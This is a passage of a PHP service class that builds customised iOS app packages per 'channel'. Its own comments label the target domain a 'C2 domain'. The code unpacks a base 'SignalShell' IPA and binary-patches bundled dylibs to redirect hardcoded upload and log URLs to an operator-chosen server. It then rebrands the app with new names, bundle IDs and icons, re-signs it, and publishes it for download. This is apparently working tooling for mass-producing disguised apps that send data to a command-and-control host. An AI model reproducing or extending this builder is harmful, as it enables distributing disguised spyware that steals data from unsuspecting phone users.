20,
'Icon-20@2x.png' => 40,
'Icon-20@3x.png' => 60,
'Icon-29.png' => 29,
'Icon-29@2x.png' => 58,
'Icon-29@3x.png' => 87,
'Icon-40.png' => 40,
'Icon-40@2x.png' => 80,
'Icon-40@3x.png' => 120,
'Icon-60@2x.png' => 120,
'Icon-60@3x.png' => 180,
'Icon-76.png' => 76,
'Icon-76@2x.png' => 152,
'Icon-83.5@2x.png' => 167,
];
/**
* Build a customized IPA for the given channel.
*
* @param Channel $channel App-builder channel with app_name, bundle_id, channel_id
* @param string|null $logoPath Temporary path to the uploaded logo (PNG, ≥180×180)
* @param string $apiDomain C2 domain (e.g. hslaxo.cc)
* @return array{success: bool, path: string, size: int, error: string}
*/
public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
{
$baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
if (! file_exists($baseIpa)) {
return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
}
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
if (is_dir($workDir)) {
$this->rrmdir($workDir);
}
@mkdir($workDir, 0755, true);
try {
// 1. Extract base IPA
$zip = new \ZipArchive;
if ($zip->open($baseIpa) !== true) {
throw new RuntimeException('Cannot open base IPA');
}
$zip->extractTo($workDir);
$zip->close();
$appDir = $workDir.'/Payload/SignalShell.app';
if (! is_dir($appDir)) {
// Try to find any .app directory
$payload = $workDir.'/Payload';
$dirs = glob($payload.'/*.app');
if (empty($dirs)) {
throw new RuntimeException('No .app directory found in IPA');
}
$appDir = $dirs[0];
}
// 2. Patch Info.plist
$this->patchInfoPlist($appDir, $channel);
// 3. Generate icons from logo
if ($logoPath && file_exists($logoPath)) {
$this->generateIcons($appDir, $logoPath);
}
// 4. Patch libroute.dylib (domain + channel ID)
$this->patchLibroute($appDir, $apiDomain, $channel->channel_id);
// 5. Patch libmcmlease.dylib (domain)
$this->patchLibmcmlease($appDir, $apiDomain);
// 6. Sign (ldid if available, skip otherwise)
$this->sign($appDir);
// 7. Package IPA
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
$outputFull = public_path($outputPath);
@mkdir(dirname($outputFull), 0755, true);
$outZip = new \ZipArchive;
if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
throw new RuntimeException('Cannot create output IPA');
}
$this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
$outZip->close();
$size = filesize($outputFull);
// Cleanup
$this->rrmdir($workDir);
return [
'success' => true,
'path' => '/'.$outputPath,
'size' => $size,
'error' => '',
];
} catch (\Throwable $e) {
$this->rrmdir($workDir);
Log::error('AppPackageService: build failed', [
'channel' => $channel->channel_id,
'error' => $e->getMessage(),
]);
return [
'success' => false,
'path' => '',
'size' => 0,
'error' => $e->getMessage(),
];
}
}
private function patchInfoPlist(string $appDir, Channel $channel): void
{
$plistPath = $appDir.'/Info.plist';
$xml = file_get_contents($plistPath);
// Replace display name
$xml = preg_replace(
'#CFBundleDisplayName\s*[^<]*#',
'CFBundleDisplayName'.htmlspecialchars($channel->app_name).'',
$xml,
);
// Replace bundle identifier
if ($channel->bundle_id) {
$xml = preg_replace(
'#CFBundleIdentifier\s*[^<]*#',
'CFBundleIdentifier'.htmlspecialchars($channel->bundle_id).'',
$xml,
);
}
// Replace CFBundleName (short name)
$xml = preg_replace(
'#CFBundleName\s*[^<]*#',
'CFBundleName'.htmlspecialchars(substr($channel->app_name, 0, 15)).'',
$xml,
);
file_put_contents($plistPath, $xml);
}
private function generateIcons(string $appDir, string $logoPath): void
{
if (! function_exists('imagecreatefrompng')) {
// GD not available, copy logo as-is for main icon only
copy($logoPath, $appDir.'/Icon-60@3x.png');
return;
}
$src = imagecreatefrompng($logoPath);
if ($src === false) {
return;
}
$srcW = imagesx($src);
$srcH = imagesy($src);
foreach (self::ICON_SIZES as $filename => $size) {
$dst = imagecreatetruecolor($size, $size);
// Transparent background
imagesavealpha($dst, true);
$trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
imagefill($dst, 0, 0, $trans);
// Resize (maintain aspect, crop center square)
$minSide = min($srcW, $srcH);
$srcX = ($srcW - $minSide) / 2;
$srcY = ($srcH - $minSide) / 2;
imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);
imagepng($dst, $appDir.'/'.$filename, 6);
imagedestroy($dst);
}
imagedestroy($src);
}
private function patchLibroute(string $appDir, string $domain, string $channelId): void
{
$path = $appDir.'/Frameworks/libroute.dylib';
if (! file_exists($path)) {
throw new RuntimeException('libroute.dylib not found');
}
$data = file_get_contents($path);
$changes = 0;
// Replace domain: shenma.my → new domain (equal length or shorter)
$newDomain = $domain;
$oldDomain = 'shenma.my';
if (strlen($newDomain) > strlen($oldDomain)) {
// Cannot expand in-place, try replacing full URLs instead
// hslaxo.cc is 9 chars same as shenma.my
if (strlen($newDomain) !== strlen($oldDomain)) {
throw new RuntimeException("Domain '{$newDomain}' length (".strlen($newDomain).') must be ≤ '.strlen($oldDomain).' chars for in-place replacement');
}
}
// Replace upload URL: /upload.php?a=a119f32b4955& → /api/ap/upload?a=&
$oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
$newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
if (strlen($newUpload) <= 10164) { // plenty of space at 0x1193C
$idx = strpos($data, $oldUpload);
if ($idx !== false) {
$data = substr($data, 0, $idx).$newUpload."\x00".substr($data, $idx + strlen($oldUpload) + 1);
$changes++;
}
}
// Replace log upload URL
$oldLog = 'https://shenma.my/upload.php?name=';
$newLog = "https://{$domain}/api/ap/lg?n=";
if (strlen($newLog) <= 35) {
$idx = strpos($data, $oldLog);
if ($idx !== false) {
$data = substr($data, 0, $idx).$newLog."\x00".substr($data, $idx + strlen($oldLog) + 1);
$changes++;
}
}
// Replace config path: /api/ios-shell → /api/ap
$oldConfig = '/api/ios-shell';
$newConfig = '/api/ap';
$idx = strpos($data, $oldConfig);
if ($idx !== false) {
$data = substr($data, 0, $idx).$newConfig."\x00".substr($data, $idx + strlen($oldConfig) + 1);
$changes++;
}
// Replace any remaining shenma.my
$data = str_replace('shenma.my', $domain, $data);
file_put_contents($path, $data);
}
private function patchLibmcmlease(string $appDir, string $domain): void
{
$path = $appDir.'/Frameworks/libmcmlease.dylib';
if (! file_exists($path)) {
return;
}
$data = file_get_contents($path);
// Equal-length domain replacement
if (strlen($domain) === 9) { // same as shenma.my
$data = str_replace('shenma.my', $domain, $data);
}
file_put_contents($path, $data);
}
private function sign(string $appDir): void
{
// Try ldid first (Linux compatible)
$ldid = trim((string) shell_exec('which ldid 2>/dev/null'));
if ($ldid !== '') {
// Remove old signatures
$csDir = $appDir.'/_CodeSignature';
if (is_dir($csDir)) {
$this->rrmdir($csDir);
}
// Sign main binary + frameworks
$binaries = array_merge(
[$appDir.'/SignalShell'],
glob($appDir.'/Frameworks/*.dylib') ?: [],
glob($appDir.'/*.dylib') ?: [],
);
foreach ($binaries as $bin) {
if (file_exists($bin)) {
Process::run([$ldid, '-S', $bin]);
}
}
return;
}
// Try codesign (macOS)
$codesign = trim((string) shell_exec('which codesign 2>/dev/null'));
if ($codesign !== '') {
$csDir = $appDir.'/_CodeSignature';
if (is_dir($csDir)) {
$this->rrmdir($csDir);
}
Process::run([$codesign, '-s', '-', '--force', '--deep', $appDir.'/']);
return;
}
// No signing tool available — output unsigned IPA
Log::warning('AppPackageService: no signing tool (ldid/codesign) found, IPA will be unsigned');
}
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
{
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
$zipPath = $prefix.'/'.$item;
if (is_dir($path)) {
$zip->addEmptyDir($zipPath);
$this->addDirToZip($zip, $path, $zipPath);
} else {
$zip->addFile($path, $zipPath);
}
}
}
private function rrmdir(string $dir): void
{
if (! is_dir($dir)) {
return;
}
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
$this->rrmdir($path);
} else {
@unlink($path);
}
}
@rmdir($dir);
}
}